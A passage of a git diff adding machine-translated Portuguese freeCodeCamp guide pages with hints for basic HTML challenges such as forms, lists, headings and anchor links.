\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
new file mode 100644
index 0000000000..1f3532d9f2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB values to Color Elements
+localeTitle: Use valores RGB para elementos de cor
+---
+## Use valores RGB para elementos de cor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
new file mode 100644
index 0000000000..d168a49ea2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
@@ -0,0 +1,18 @@
+title: Add a Submit Button to a Form	
+localeTitle: undefined
+---	## Adicionar um botão Enviar para um formulário
+
+Neste desafio, você deseja inserir o botão de envio como o último elemento do formulário (logo antes da tag de fechamento `</form>` ) e atribuir-lhe o atributo `type="submit"` (tudo em minúsculas) e um conteúdo de texto "Submit". "(primeira letra maiúscula) conforme especificado na instrução de desafio.
+
+1) o valor `submit` do `type` atributo é válido também dentro de uma tag de `input` e renderizará um botão com quase o mesmo comportamento, mas essa não é a tag que você deseja usar neste desafio.
+```
+<input type="submit"> 
+```
+
+Se você não especificar um valor, o botão terá um valor padrão escolhido pelo seu agente de usuário (geralmente é algo como "Enviar" ou "Enviar Consulta").
+
+Se você deseja especificar um valor como "Enviar Pedido", você pode fazer assim:
+```
+<input type="submit" value="Send Request"> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
new file mode 100644
index 0000000000..a125ae42a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Images to Your Website
+localeTitle: Adicionar imagens ao seu site
+---
+## Adicionar imagens ao seu site
+
+Atributos são pares de valores-chave inseridos na tag. A sintaxe é `<tag key1="value1" key2="value2"> </tag>` ou, no caso de tags de fechamento automático, `<tag key1="value1" key2="value2" />` - observe que os pares são separados por um caractere de espaço, não por uma vírgula.
+
+### Recursos
+
+*   [Atributos HTML](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
new file mode 100644
index 0000000000..698e5becaf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Placeholder Text to a Text Field
+localeTitle: Adicionar texto do marcador de posição a um campo de texto
+---
+## Adicionar texto do marcador de posição a um campo de texto
+
+`placeholder` é um atributo, não uma tag. Ele pode ser usado junto com o `text` do atributo da tag de `input` para criar um texto para visualizar quando a caixa de entrada estiver vazia.
+
+Se você está preso, verifique estes problemas:
+
+*   você deve adicionar o atributo de `placeholder` à tag de `input` já presente no código sem remover nada; Se por acaso você removeu ou modificou alguma coisa, lembre-se de que você pode reiniciar com um código limpo clicando no botão `reset all code`
+*   a sintaxe é a mesma de todo atributo: `<tag attributeName="attributeValue" >` e o valor a ser inserido é indicado pelas instruções do desafio (verifique se há erros de digitação).
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
new file mode 100644
index 0000000000..4c12577a9f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
@@ -0,0 +1,11 @@
+---
+title: Check Radio Buttons and Checkboxes by Default
+localeTitle: Verificar botões de rádio e caixas de seleção por padrão
+---
+## Verificar botões de rádio e caixas de seleção por padrão
+
+O atributo `checked` , exclusivamente utilizável com `type="radio"` e `type="checkbox"` , é um atributo booleano (você pode checar o desafio sobre o atributo `required` , booleano também, neste link: [use html5 para requerer um campo](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/) ).
+
+Como atributo booleano, você simplesmente tem que adicionar a palavra `checked` ao elemento HTML de `input` que deseja definir por padrão (o desafio requer que você defina por padrão _a primeira_ caixa de seleção e os botões de opção já presentes no código).
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
new file mode 100644
index 0000000000..a9689c96d8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
@@ -0,0 +1,18 @@
+---
+title: Comment out HTML
+localeTitle: Comente o HTML
+---
+## Comente o HTML
+
+A sintaxe de comentário é a mesma de todos os outros elementos HTML:
+
+Exemplo:
+```
+<!-- code --> 
+```
+
+subseção | Descrição ---------- | ----------- `<!--` | Tag de Abertura código | Texto comentado `-->` | Tag de fechamento
+
+Se você quiser comentar apenas alguns elementos no código que deseja agrupar em um elemento de comentário, crie uma tag de abertura antes deles e uma tag de fechamento logo em seguida.
+
+Diverta-se!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
new file mode 100644
index 0000000000..db1262556f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
@@ -0,0 +1,29 @@
+---
+title: Create a Bulleted Unordered List
+localeTitle: Criar uma lista não ordenada com marcadores
+---
+## Criar uma lista não ordenada com marcadores
+
+Para passar o desafio, a primeira operação que você deve fazer é remover os elementos `p` com todo o seu conteúdo.
+
+Depois disso, você terá que implementar a lista: ela deve conter pelo menos três elementos `li` dentro do elemento `ul` e esses `li` devem estar no mesmo nível, não aninhados uns nos outros:
+
+Corrigir:
+```
+<ul> 
+  <li></li> 
+  <li></li> 
+ </ul> 
+```
+
+Incorreto:
+```
+<ul> 
+  <li> 
+    <li> 
+    </li> 
+  </li> 
+ </ul> 
+```
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
new file mode 100644
index 0000000000..02178b33b6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Form Element
+localeTitle: Crie um elemento de formulário
+---
+Um `<form>` é um elemento usado para reunir informações diretamente da entrada do usuário. Ao usar esse elemento HTML, você está identificando uma seção usada para coletar as opções do usuário.
+
+Dentro desse elemento HTML, você pode inserir algumas tags de `input` , usadas para coletar dados de maneiras diferentes com base no atributo `type` .
+
+Todos esses dados serão enviados para a página especificada no atributo de `action` do formulário. Este é simplesmente um caminho relativo que indica a página que espera receber esses dados.
+
+Neste desafio, você já tem um elemento de `input` . Tudo o que você precisa fazer é envolver uma tag de `form` torno dela. Não esqueça o atributo `action` . Use o valor indicado pelo desafio (verifique novamente a sintaxe).
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
new file mode 100644
index 0000000000..897c54b92f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Set of Checkboxes
+localeTitle: Criar um conjunto de caixas de seleção
+---
+## Criar um conjunto de caixas de seleção
+
+O atributo `type="checkbox"` funciona basicamente como o atributo `type="radio"` : a principal diferença é que caixas de seleção são usadas para coletar uma ou mais opções, botões de rádio são usados ​​quando você quer escolhas exclusivas (uma ou outra).
+
+O atributo `name` indica o grupo ao qual pertence a caixa de seleção e, para fazer parte de um grupo, será mais fácil gerenciar os dados no lado do servidor.
+
+Para resolver esse desafio, você precisa criar três elementos HTML de `input` com o atributo `type="checkbox"` e com o atributo `name` definido como `"personality"` (assuntos de capitalização); o conteúdo do texto da etiqueta cabe a você.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
new file mode 100644
index 0000000000..1f62493482
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
@@ -0,0 +1,17 @@
+---
+title: Create a Set of Radio Buttons
+localeTitle: Criar um conjunto de botões de rádio
+---
+## Criar um conjunto de botões de rádio
+
+Para resolver esse desafio, você pode dividi-lo em partes para entender melhor as etapas:
+
+*   Crie os 'containers': estabeleça dois elementos de `label` e dê a eles o conteúdo de texto que o desafio lhe pede (é necessário ter o texto 'Indoor', um 'Outdoor', assunto de letras maiúsculas);
+    
+*   Crie o 'conteúdo': um botão de rádio é apenas um elemento de `input` com `type=radio` (crie dois deles);
+    
+*   Crie um _grupo_ de botões de opção: dê a ambos os botões de rádio o `name` do atributo definido para o mesmo valor (as instruções de desafio indicam que o grupo deve ser chamado de `indoor-outdoor` );
+    
+*   Aninhe cada botão de opção em um rótulo;
+    
+    Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
new file mode 100644
index 0000000000..2d0240e1e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Create a Text Field
+localeTitle: Crie um campo de texto
+---
+## Crie um campo de texto
+
+`input` pode ser classificada como uma tag genérica: na verdade, ela é caracterizada por seu `type` atributo, que pode assumir uma faixa de valores diferentes e, com base nesse valor, a `input` será renderizada como um objeto diferente.
+
+Alguns exemplos de valores de `type` diferentes:
+
+valor do tipo | código - | - texto | `<input type="text" />` checkbox | `<input type="checkbox" />` rádio | `<input type="radio" />` botão | `<input type="button" />` …
+
+O desafio quer que você estabeleça uma tag de `input` com o tipo set to `text` sem modificar o código existente; Se algo deu errado, verifique os erros da tag de verificação dupla (como a `input` é de fechamento automático, você precisa apenas de uma tag, e não de um par de open-close). Se você modificou ou excluiu algumas partes do código fornecido, você pode reiniciar usando o botão de `reset all code` .
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
new file mode 100644
index 0000000000..ded6ab0a20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
@@ -0,0 +1,19 @@
+---
+title: Create an Ordered List
+localeTitle: Crie uma lista ordenada
+---
+## Crie uma lista ordenada
+
+Às vezes as pessoas superam esse tipo de desafio: as listas ordenadas têm exatamente o mesmo padrão das não ordenadas, elas simplesmente mudam a tag: `<ul>` para o não ordenado, `<ol>` para o ordenado.
+
+O efeito diferente é que um tem as balas, o outro tem números (ou outras marcas progressivas):
+
+tipo | código | efeito - | - | - desordenado | `<ul><li>Bulleted item</li></ul>` |
+
+*   Item com marcadores
+
+ordenou | `<ol><li>Numbered item</li></ol>` |
+
+1.  Item numerado
+
+Se você não se lembra como as listas funcionam, você pode revisar o desafio anterior: [Crie uma lista não ordenada com marcadores](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
new file mode 100644
index 0000000000..6f49587911
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
@@ -0,0 +1,13 @@
+---
+title: Declare the Doctype of an HTML Document
+localeTitle: Declarar o Doctype de um documento HTML
+---
+## Declarar o Doctype de um documento HTML
+
+A declaração do Doctype deve estar na primeira linha, pois fornece instruções ao navegador sobre como interpretar as seguintes linhas de código.
+
+Pode ser seguido por um elemento `<html>` , mesmo que não seja obrigatório; este é o elemento raiz do documento e, se você não o escrever, a maior parte do navegador o inferirá. No entanto, é uma boa prática escrevê-lo explicitamente.
+
+Todos os seus elementos html devem estar aninhados dentro do `<html>` : neste desafio você é solicitado a usar um elemento `<h1>` com o conteúdo de sua escolha.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
new file mode 100644
index 0000000000..9a57ed45c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
@@ -0,0 +1,18 @@
+---
+title: Define the Head and Body of an HTML Document
+localeTitle: Definir a cabeça e o corpo de um documento HTML
+---
+## Definir a cabeça e o corpo de um documento HTML
+
+O elemento `head` é usado para agrupar todos os metadados do documento, o `body` para exibir o conteúdo do documento.
+
+Na `head` você pode encontrar qualquer tipo de tag usado para _descrever_ o documento: que linguagem ele irá usar, quais regras de estilo (através do link da folha de estilo), seu título, uma descrição literal,…  
+De qualquer forma, nada dentro do elemento `head` será processado na página: você pode ver o título e o ícone normalmente na guia do navegador ou na barra de favoritos, mas essa não é a _página_ , é o elemento do navegador vinculado a ela.
+
+O `body` pelo contrário, contém tudo que é apresentado na página: talvez não apenas isso, mas com certeza tudo isso.
+
+O desafio fornece uma simples página html e pede que você insira a `head` e os elementos html do `body` no lugar certo; Em outras palavras, você deve quebrar com a tag `<body></body>` todos os elementos que você pode ver sendo renderizado no lado direito da página e envolver com a tag `<head></head>` tudo descritivo.
+
+Lembre-se de que tanto a `head` quanto o `body` devem ser filhos do elemento `<html>` .
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
new file mode 100644
index 0000000000..6820d343c3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
@@ -0,0 +1,11 @@
+---
+title: Delete HTML Elements
+localeTitle: Excluir elementos HTML
+---
+## Excluir elementos HTML
+
+Para remover um elemento HTML, você deve remover seus subelementos de tag: o conteúdo, seja ele qual for, pode ser mantido, pois não é representativo de nenhum elemento HTML.
+
+Lembre-se: se algum código diferente da parte que você pediu para modificar foi alterado, você pode reiniciar o seu desafio clicando no botão `reset all code` .
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
new file mode 100644
index 0000000000..d7fe189783
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Fill in the Blank with Placeholder Text
+localeTitle: Preencha o espaço em branco com texto de espaço reservado
+---
+## Preencha o espaço em branco com texto de espaço reservado
+
+Você é solicitado a substituir o texto que você vê no parágrafo (o elemento `p` ) pelo texto fornecido pela introdução do desafio (quando você lê cerca de _poucas palavras,_ isso significa pelo menos 2, no máximo todas); Se, por acaso, você tiver removido ou modificado algum código diferente do texto do parágrafo, você poderá clicar no botão `reset all code` para reiniciar com um código limpo.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
new file mode 100644
index 0000000000..55a027d141
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
@@ -0,0 +1,28 @@
+---
+title: Headline with the h2 Element
+localeTitle: Título com o elemento h2
+---
+## Título com o elemento h2
+
+Na primeira lição, você aprendeu o que é um elemento HTML e modificou um.  
+Agora você é convidado a escrever o seu próprio! O primeiro elemento HTML já presente em seu editor de código ( `<h1>Hello World</h1>` ) usa a tag h1, verifique os outros:
+
+Código | Efeitos ----- | ------- `<h2> This is how an h2 heading looks like</h2>` |
+
+## É assim que um título h2 se parece
+
+`<h3> Followed by this h3 tag </h3>` |
+
+### Seguido por esta tag h3
+
+`<h4> Look at the h4, the middle </h4>` |
+
+#### Olhe para o h4, o meio
+
+`<h5> Here is a tiny h5 </h5>` |
+
+##### Aqui está um minúsculo h5
+
+`<h6> The last - h6 </h6>` |
+
+###### O último - h6
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/index.md
new file mode 100644
index 0000000000..43913cc96b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic HTML and HTML5
+localeTitle: HTML básico e HTML5
+---
+## HTML básico e HTML5
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
new file mode 100644
index 0000000000..2605a4720d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Inform with the Paragraph Element
+localeTitle: Informar com o elemento Paragraph
+---
+Você é solicitado a criar outro elemento HTML. Uma breve recapitulação sobre como conseguir isso:
+
+*   Crie uma tag de abertura.
+    
+*   Escreva algum conteúdo (geralmente texto sem formatação)
+    
+*   Crie uma tag de fechamento.
+    
+    Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
new file mode 100644
index 0000000000..e68dd237bd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
@@ -0,0 +1,17 @@
+---
+title: Introduction to HTML5 Elements
+localeTitle: Introdução aos elementos HTML5
+---
+## Introdução aos elementos HTML5
+
+Enrolar um elemento HTML em torno de outro (s) elemento (s) HTML significa colocar o (s) elemento (s) _interno_ (s) após a tag de abertura do wrapper e antes de sua tag de fechamento.  
+
+O exemplo abaixo representa um elemento `h1` e um elemento `h4` envolvido em um elemento de `header` :
+```
+<header> 
+  <h1> Big title </h1> 
+  <h4> Tiny subtitle </h4> 
+ </header> 
+```
+
+Como você pode ver, o `header` contém os outros elementos que terminam no mesmo nível (o `h1` termina antes do `h4` iniciar e ambos são aninhados no `header` ).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
new file mode 100644
index 0000000000..0b6952ff44
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
@@ -0,0 +1,23 @@
+---
+title: Link to External Pages with Anchor Elements
+localeTitle: Link para páginas externas com elementos âncora
+---
+## Link para páginas externas com elementos âncora
+
+Neste desafio você deve usar tudo o que aprendeu até agora. A sintaxe dos elementos HTML:
+
+*   Tag de Abertura
+*   Conteúdo
+*   Tag de fechamento
+
+E a sintaxe dos atributos da tag:
+
+*   `<tag`
+*   key = "value"
+*   `>` ( `/>` no caso de tags de fechamento automático)
+
+Você está convidado a dar a um `a` tag o atributo (key) `href` com o valor de `"http://freecatphotoapp.com"` e usar o texto "fotos do gato", como o conteúdo do mesmo `a` tag
+
+### Recursos
+
+*   [`<a>` atributo tag - href](https://guide.freecodecamp.org/html/attributes/a-href-attribute)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
new file mode 100644
index 0000000000..12b7219c45
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
@@ -0,0 +1,21 @@
+---
+title: Link to Internal Sections of a Page with Anchor Elements
+localeTitle: Vincular a seções internas de uma página com elementos âncora
+---
+## Vincular a seções internas de uma página com elementos âncora
+
+Como indicado nas instruções do link interno é composto por dois elementos: a `a` tag eo elemento html com o `id` usado no `href` atributo do `a` tag.
+
+Todos esses links internos são válidos:
+
+TAG DE ÂNCORA | Traz para ----- | ------ `<a href="#destination">I am an internal link</a>` | `<p id="destination">I am the destination of the link</p>` `<a href="#inlinestuff">I am an internal link</a>` | `<span id="inlinestuff">I am the destination of the link</span>` `<a href="#title">I am an internal link</a>` | `<h1 id="title">I am the destination of the link</h1>` `<a href="#mainarticle">I am an internal link</a>` | `<article id="mainarticle">I am the destination of the link</article>`
+
+Você é solicitado a usar o elemento âncora existente para criar seu link interno, portanto, não escreva outra tag de âncora.
+
+Para transformar a tag âncora real não é a única coisa que o desafio quer que você faça, há mais dois pontos:
+
+*   Para remover o `target` atributo do `a` tag: você não quer mais para abrir uma nova aba no seu navegador, é a página real que vai 'movimento' up / down.
+    
+*   Para modificar o conteúdo de texto do `a` tag: de `cat photos` para `Jump to Bottom` (capitalização verifique).
+    
+    Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
new file mode 100644
index 0000000000..63f6e9b399
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
@@ -0,0 +1,13 @@
+---
+title: Make Dead Links Using the Hash Symbol
+localeTitle: Faça links mortos usando o símbolo Hash
+---
+## Faça links mortos usando o símbolo Hash
+
+Um link morto é apenas um elemento de ancoragem, sintaticamente correto, clicável que aponta para o topo da página quando clicado sem atualizar o conteúdo (você pode verificar essa questão no fórum da FCC para uma análise mais aprofundada: [O que o Dead Link está fazendo? HTML e CSS fazem?](https://forum.freecodecamp.org/t/what-does-dead-link-on-html-and-css-do/164550/7)
+
+Para criar um link morto, primeiro você deve escrever um elemento de âncora normal (o desafio fornece um, não reescrevê-lo) e, em seguida, modificar o atributo `href` conforme indicado nas instruções.
+
+Se você tiver excluído ou modificado algo no código original que não seja o atributo href do existente `a` tag lembrar que você pode clicar no `reset all code` botão para reiniciar com um código limpo.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
new file mode 100644
index 0000000000..0f81e4bae2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
@@ -0,0 +1,12 @@
+---
+title: Nest an Anchor Element within a Paragraph
+localeTitle: Aninhar um elemento âncora dentro de um parágrafo
+---
+## Aninhar um elemento âncora dentro de um parágrafo
+
+Leia as instruções cuidadosamente: mesmo que este é um desafio sobre a `a` tag que não necessariamente significa que você deve manipulá-lo!  
+A introdução desafio fala sobre o existente `a` elemento e ele lhe pede para escrever o parágrafo em que irá ser aninhadas: em outras palavras, você só precisa escrever o `p` elemento HTML, onde o conteúdo é composta por algum texto - "Ver mais" (verifique a capitalização eo espaço final) - ea `a` elemento HTML já presente na página.
+
+Você pode visualizar a estrutura final do seu elemento `p` seguinte forma:
+
+desc | código ------- | --------- Tag de abertura | `<p>` Algum conteúdo de texto | `View more` O existente `a` elemento | `<a>...</a>` Tag de fechamento | `</p>`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
new file mode 100644
index 0000000000..c35578d609
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Nest Many Elements within a Single div Element
+localeTitle: Aninhar muitos elementos em um único elemento div
+---
+## Aninhar muitos elementos em um único elemento div
+
+Usar uma tag de propósito genérico como `div` para agrupar vários elementos permite que o desenvolvedor aplique um estilo comum a cada um dos elementos agrupados, para agrupar elementos com o mesmo significado, para criar diferentes 'pacotes' de layout e assim por diante.
+
+Sobre este desafio você tem que agrupar as listas já presentes no código: você pode usar a tag div de abertura antes do parágrafo usado como cabeçalho da lista não ordenada e colocar a tag de fechamento logo abaixo da ordenada.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
new file mode 100644
index 0000000000..98b506950e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
@@ -0,0 +1,19 @@
+---
+title: Say Hello to HTML Elements
+localeTitle: Diga Olá para elementos HTML
+---
+## Diga Olá para elementos HTML
+
+Considere o seguinte exemplo:  
+
+`<p>This is a paragraph</p>`  
+
+Você pode se referir como um **_"elemento p"_** ; quebrou em pedaços você pode encontrar os seguintes subelementos:
+
+subelemento | descrição ----------- | ---------- `<p>` | Esta é a tag de abertura `This is a paragraph` | Este é o texto do elemento `</p>` | Esta é a tag de fechamento
+
+Lembre-se da solicitação de desafio:
+
+> mude o texto do elemento h1 para dizer "Olá mundo"
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
new file mode 100644
index 0000000000..93542b9f7c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
@@ -0,0 +1,11 @@
+---
+title: Turn an Image into a Link
+localeTitle: Transforme uma imagem em um link
+---
+## Transforme uma imagem em um link
+
+Em um desafio anterior, você já conseguiu a tarefa de aninhar um elemento HTML em outro (por exemplo, [aninhar um elemento âncora em um parágrafo](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph) )
+
+Agora você é solicitado a resolver o mesmo problema com tags diferentes: basta colocar a imagem (como está) no elemento âncora e ela se tornará o conteúdo clicável dessa âncora.
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
